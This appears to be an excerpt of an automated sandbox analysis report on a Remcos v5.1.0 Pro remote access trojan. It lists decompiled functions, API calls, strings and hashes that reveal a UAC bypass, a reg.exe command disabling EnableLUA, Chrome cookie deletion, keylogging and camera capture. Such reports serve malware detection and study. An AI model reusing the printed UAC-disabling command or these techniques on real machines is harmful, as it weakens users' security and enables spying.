                                            • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A376
                                            • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A38F
                                            • SetLastError.KERNEL32(00000000,?,0043A351,004392BE), ref: 0043A3E1
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLastValue___vcrt_
                                            • String ID:
                                            • API String ID: 3852720340-0
                                            • Opcode ID: fe039640f614891bfb869f3d54459c43faa771a51d809113de29b3036e5dc2e7
                                            • Instruction ID: 5d53a0da36a7034647469206452edf011e0dcb0cee8899775f26e7a14c982385
                                            • Opcode Fuzzy Hash: fe039640f614891bfb869f3d54459c43faa771a51d809113de29b3036e5dc2e7
                                            • Instruction Fuzzy Hash: 7F01283214C3519EA61526796C86A6B2648EB0A7B9F30133FF918815F1EF594C90514D
                                            Function 004075B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                                            Download Yara Rule
                                            APIs
                                            • CoInitializeEx.OLE32(00000000,00000002), ref: 004075D0
                                              • Part of subcall function 004074FD: _wcslen.LIBCMT ref: 00407521
                                              • Part of subcall function 004074FD: CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                                            • CoUninitialize.OLE32 ref: 00407629
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: InitializeObjectUninitialize_wcslen
                                            • String ID: C:\Program Files (x86)\Windows Mail\wab.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                                            • API String ID: 3851391207-1456085606
                                            • Opcode ID: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                                            • Instruction ID: 681a2da4e9d4b9e6b45db6330fec0c9e961fb52a18ca78f8243115a9baea1a6b
                                            • Opcode Fuzzy Hash: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                                            • Instruction Fuzzy Hash: B201D272B087016BE2245B25DC0EF6B7758DB81729F11083FF902A61C2EBA9BC0145AB
                                            Function 0040BAA1 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BADD
                                            • GetLastError.KERNEL32 ref: 0040BAE7
                                            Strings
                                            • [Chrome Cookies not found], xrefs: 0040BB01
                                            • [Chrome Cookies found, cleared!], xrefs: 0040BB0D
                                            • UserProfile, xrefs: 0040BAAD
                                            • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAA8
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: DeleteErrorFileLast
                                            • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                                            • API String ID: 2018770650-304995407
                                            • Opcode ID: 1760e3e0d40a85f21b6d805f5d6a4de2d8cd9e2060f798d2c7163d0a527507e4
                                            • Instruction ID: 6bc0ec4de36c0471385c24d45a27137009bd471b3f80e31671ebbef4da92dce6
                                            • Opcode Fuzzy Hash: 1760e3e0d40a85f21b6d805f5d6a4de2d8cd9e2060f798d2c7163d0a527507e4
                                            • Instruction Fuzzy Hash: 08018F31A402095ACA04BBBACD5B8BE7724E912714F50017BF802726E6FE7D5A059ADE
                                            Function 0041CD9B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 48memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • AllocConsole.KERNEL32 ref: 0041CDA4
                                            • ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                                            • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Console$AllocOutputShowWindow
                                            • String ID: Remcos v$5.1.0 Pro$CONOUT$
                                            • API String ID: 2425139147-1043272453
                                            • Opcode ID: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                                            • Instruction ID: 3d4e39fb732e2b6cb40f789e287104da8d9afdf675614735db993d10cd8ea689
                                            • Opcode Fuzzy Hash: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                                            • Instruction Fuzzy Hash: CD0188719803087AD610F7F1DC8BF9D776C5B14705F6004277604A70D3E7BD9954466E
                                            Function 0043AADC Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                            Download Yara Rule
                                            APIs
                                            • __allrem.LIBCMT ref: 0043AC69
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC85
                                            • __allrem.LIBCMT ref: 0043AC9C
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACBA
                                            • __allrem.LIBCMT ref: 0043ACD1
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACEF
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                            • String ID:
                                            • API String ID: 1992179935-0
                                            • Opcode ID: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                                            • Instruction ID: 0cac597ccac2158415e78c81c2c349525783c2449c9f0a8280db41f57d0428da
                                            • Opcode Fuzzy Hash: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                                            • Instruction Fuzzy Hash: CC812B72640706ABE7209F29CC41B5BB3A9EF48324F24552FF590D7781EB7CE9108B5A
                                            Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • Sleep.KERNEL32(00000000,0040D262), ref: 004044C4
                                              • Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: H_prologSleep
                                            • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                                            • API String ID: 3469354165-3054508432
                                            • Opcode ID: 6f157006139ccf4b8d86a432b5633ede6fd06edeca8eb9c0ae1caa95c8564102
                                            • Instruction ID: 62663cdee79800d8a54f028f5a980ee1c6790ad11611a7059aef087dab150aaf
                                            • Opcode Fuzzy Hash: 6f157006139ccf4b8d86a432b5633ede6fd06edeca8eb9c0ae1caa95c8564102
                                            • Instruction Fuzzy Hash: 5C51E1B1A042116BCA14FB369D0A66E3755ABC5748F00053FFA06677E2EF7C8A45839E
                                            Function 00411CFE Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0041179C: SetLastError.KERNEL32(0000000D,00411D1C,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 004117A2
                                            • SetLastError.KERNEL32(000000C1,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411D37
                                            • GetNativeSystemInfo.KERNEL32(?), ref: 00411DA5
                                            • SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?), ref: 00411DC9
                                              • Part of subcall function 00411CA3: VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,00411DE7,?,00000000,00003000,00000040,00000000,?,?), ref: 00411CB3
                                            • GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,?), ref: 00411E10
                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 00411E17
                                            • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411F2A
                                              • Part of subcall function 00412077: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37,?,?,?,?,?), ref: 004120E7
                                              • Part of subcall function 00412077: HeapFree.KERNEL32(00000000), ref: 004120EE
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
                                            • String ID:
                                            • API String ID: 3950776272-0
                                            • Opcode ID: 03879881e365d714915aafd98c27fc7559b9a312a1bd96baf04abeae924ccd8f
                                            • Instruction ID: a5564978de1508fcfe39aaa31f5973b4ee53e0220ffe5d2cf9b9f7f7cc9a58c7
                                            • Opcode Fuzzy Hash: 03879881e365d714915aafd98c27fc7559b9a312a1bd96baf04abeae924ccd8f
                                            • Instruction Fuzzy Hash: B661E370601201ABC7109F66C980BAB7BA5BF44744F04411BFA058B7A2E7BCE8D2CBD9
                                            Function 004458F9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: __cftoe
                                            • String ID:
                                            • API String ID: 4189289331-0
                                            • Opcode ID: 0b5e7e778a45d4ef5640b8f49a3a6f21ebcbf364a7a7050dd0a353773097b25c
                                            • Instruction ID: 6c78d09a6f5169ef6f707262af513c71f712f2c279f5202ad8aecd4a6012115a
                                            • Opcode Fuzzy Hash: 0b5e7e778a45d4ef5640b8f49a3a6f21ebcbf364a7a7050dd0a353773097b25c
                                            • Instruction Fuzzy Hash: D951EA72900A05ABFF209B59CC81FAF77A9EF49334F14421FF515A6293DB39D900866C
                                            Function 0041AC78 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041AC88
                                            • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A38E,00000000), ref: 0041AC9C
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACA9
                                            • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041ACDE
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF0
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF3
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Service$CloseHandle$Open$ChangeConfigManager
                                            • String ID:
                                            • API String ID: 493672254-0
                                            • Opcode ID: efec56fc5935d5a2572c80bdc1daad9799237a8c2fd258714d4154745ff5c6c1
                                            • Instruction ID: ed0bae8235b77a8e2b5b4951a925fd67a34dfbd091713fce30693036f81a5133
                                            • Opcode Fuzzy Hash: efec56fc5935d5a2572c80bdc1daad9799237a8c2fd258714d4154745ff5c6c1
                                            • Instruction Fuzzy Hash: 84014E311452147BD6110B385C4DEFB3B5CDB42771F100317F925922D1EA68CD45B5EE
                                            Function 00448215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                            • _free.LIBCMT ref: 0044824C
                                            • _free.LIBCMT ref: 00448274
                                            • SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                                            • SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                            • _abort.LIBCMT ref: 00448293
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$_free$_abort
                                            • String ID:
                                            • API String ID: 3160817290-0
                                            • Opcode ID: 35dcf3de7c71c62167c4cd53af3f8df7186468cbd06746618ca28f838e92064e
                                            • Instruction ID: 1e51d54565af68f960eede883612623578b8b4ccb82fc25c91f14e3db4823c68
                                            • Opcode Fuzzy Hash: 35dcf3de7c71c62167c4cd53af3f8df7186468cbd06746618ca28f838e92064e
                                            • Instruction Fuzzy Hash: 15F0F935104F006AF611332A6C05B5F2515ABC276AF25066FF92892292DFACCC4581AD
                                            Function 0041AAA6 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAB5
                                            • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAC9
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAD6
                                            • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAE5
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAF7
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAFA
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Service$CloseHandle$Open$ControlManager
                                            • String ID:
                                            • API String ID: 221034970-0
                                            • Opcode ID: 4ae3873c1f536b49cfb6b65ca2e5a3703e9976f2291b0d96870e63be56c21842
                                            • Instruction ID: 651adf303b3d55a6ad93a9774d9c6d096703db2647e4265c62a250da7e042a32
                                            • Opcode Fuzzy Hash: 4ae3873c1f536b49cfb6b65ca2e5a3703e9976f2291b0d96870e63be56c21842
                                            • Instruction Fuzzy Hash: 68F0C231541218ABD711AF25AC49EFF3B6CDF45BA2F000026FE0992192DB68CD4695E9
                                            Function 0041ABAA Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABB9
                                            • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABCD
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABDA
                                            • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABE9
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFB
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFE
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Service$CloseHandle$Open$ControlManager
                                            • String ID:
                                            • API String ID: 221034970-0
                                            • Opcode ID: 81e2b4606ab98421978dc9842ef1edfa46dc1b90a9204ca08327dde20b0592b6
                                            • Instruction ID: cdcae22f94af1ce7d279f83afe572816001e75aa845eac4345c2c81124f82824
                                            • Opcode Fuzzy Hash: 81e2b4606ab98421978dc9842ef1edfa46dc1b90a9204ca08327dde20b0592b6
                                            • Instruction Fuzzy Hash: 84F0C231501218ABD6116F259C49DFF3B6CDB45B62F40002AFE0996192EB38DD4595F9
                                            Function 0041AC11 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC20
                                            • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC34
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC41
                                            • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC50
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC62
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC65
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Service$CloseHandle$Open$ControlManager
                                            • String ID:
                                            • API String ID: 221034970-0
                                            • Opcode ID: fc89c5385e453168767847f65058b20f434ef67782af095c3a641765214ec1d0
                                            • Instruction ID: 1af6be829003de2eeb85b71d4b0cbdb2c911632148e7083bdbbda8586ff13133
                                            • Opcode Fuzzy Hash: fc89c5385e453168767847f65058b20f434ef67782af095c3a641765214ec1d0
                                            • Instruction Fuzzy Hash: 2FF0F631501228BBD711AF25EC49DFF3B6CDB45B62F00002AFE0992192EB38CD4595F9
                                            Function 0040B164 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 0040B172
                                            • wsprintfW.USER32 ref: 0040B1F3
                                              • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: EventLocalTimewsprintf
                                            • String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
                                            • API String ID: 1497725170-248792730
                                            • Opcode ID: 65b46232fdee2079f17a48eaa96158f2453b4876d4296abcf31ffc0408f1bd52
                                            • Instruction ID: 81b60f5d3581edaaac31e3e44e1e4f5c322996b2d8bf5e7d6f89c643b346fb92
                                            • Opcode Fuzzy Hash: 65b46232fdee2079f17a48eaa96158f2453b4876d4296abcf31ffc0408f1bd52
                                            • Instruction Fuzzy Hash: 82117F72504118AACB18AB96EC558FE77BCEE48315B00012FF506A60E1FF7C9E46C6AC
                                            Function 0040A675 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                                            • GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                                            • Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                                            • CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseCreateHandleSizeSleep
                                            • String ID: XQG
                                            • API String ID: 1958988193-3606453820
                                            • Opcode ID: a936430ac144879a830ace31701bfe89764f94ae4ec5835598aad753144bf191
                                            • Instruction ID: 2d5b847f40b6dc6d65e682cb961bc0859910b41d7418e35cc132b68a4a9af338
                                            • Opcode Fuzzy Hash: a936430ac144879a830ace31701bfe89764f94ae4ec5835598aad753144bf191
                                            • Instruction Fuzzy Hash: AD112B30600740EEE631A7249895A5F3B6AEB41356F48083AF2C26B6D2C6799CA0C35E
                                            Function 0041D50F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ClassCreateErrorLastRegisterWindow
                                            • String ID: 0$MsgWindowClass
                                            • API String ID: 2877667751-2410386613
                                            • Opcode ID: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                                            • Instruction ID: 921741f364e14ac5d494c0d6481b3569f22aad0bbfd2e997b493b5423d792a6e
                                            • Opcode Fuzzy Hash: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                                            • Instruction Fuzzy Hash: 910129B1D00219BBDB00DFD5ECC49EFBBBDEA04355F40053AF900A6240E77859058AA4
                                            Function 00407755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040779B
                                            • CloseHandle.KERNEL32(?), ref: 004077AA
                                            • CloseHandle.KERNEL32(?), ref: 004077AF
                                            Strings
                                            • C:\Windows\System32\cmd.exe, xrefs: 00407796
                                            • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 00407791
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseHandle$CreateProcess
                                            • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                                            • API String ID: 2922976086-4183131282
                                            • Opcode ID: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                                            • Instruction ID: bcd6b2dc2297655d1c2a6c7a9d844aadd79638dc8707381bf3a952a3ff6736b4
                                            • Opcode Fuzzy Hash: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                                            • Instruction Fuzzy Hash: BCF03676D4029D76CB20ABD6DC0EEDF7F7DEBC5B11F00056AF904A6141E6746404C6B9
                                            Function 00407260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                                            Download Yara Rule
                                            Strings
                                            • SG, xrefs: 004076DA
                                            • C:\Program Files (x86)\Windows Mail\wab.exe, xrefs: 004076C4
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: SG$C:\Program Files (x86)\Windows Mail\wab.exe
                                            • API String ID: 0-2075936068
                                            • Opcode ID: a5e5064d23fdb4a5105bb888b891a2001f99cf11455aefb2b8df45e89f9c3324
                                            • Instruction ID: 1b954d03a55cc3c1a25a26db856d3c6076ddce7f3b9fad0ad77fefb3a3407f05
                                            • Opcode Fuzzy Hash: a5e5064d23fdb4a5105bb888b891a2001f99cf11455aefb2b8df45e89f9c3324
                                            • Instruction Fuzzy Hash: 2CF046B0F14A00EBCB0467655D186693A05A740356F404C77F907EA2F2EBBD5C41C61E
                                            Function 0044333A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,004432EB,?,?,0044328B,?), ref: 0044335A
                                            • GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,004432EB,?,?,0044328B,?), ref: 0044336D
                                            • FreeLibrary.KERNEL32(00000000,?,?,?,004432EB,?,?,0044328B,?), ref: 00443390
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressFreeHandleLibraryModuleProc
                                            • String ID: CorExitProcess$mscoree.dll
                                            • API String ID: 4061214504-1276376045
                                            • Opcode ID: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                                            • Instruction ID: b4f1316bd170a33105784e50650a9bde6d9e9410588fddf83d5a1a7bf10dc45d
                                            • Opcode Fuzzy Hash: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                                            • Instruction Fuzzy Hash: 6AF0A430A00208FBDB149F55DC09B9EBFB4EF04713F0041A9FC05A2261CB349E40CA98
                                            Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405120
                                            • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 0040512C
                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 00405137
                                            • CloseHandle.KERNEL32(?), ref: 00405140
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                            • String ID: KeepAlive | Disabled
                                            • API String ID: 2993684571-305739064
                                            • Opcode ID: 11e320f67abdd95442ebe69be37ae07741154b3609cf10b7525108ad99fbffe3
                                            • Instruction ID: c1447ea2195e795a2fa4d382ed9a15925dec3dc8ccf256ab7d783030aa8980db
                                            • Opcode Fuzzy Hash: 11e320f67abdd95442ebe69be37ae07741154b3609cf10b7525108ad99fbffe3
                                            • Instruction Fuzzy Hash: 4CF06271904711BBDB103B758D0A66B7A54AB02311F0009BEF982916E2D6798840CF9A
                                            Function 0041ADC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
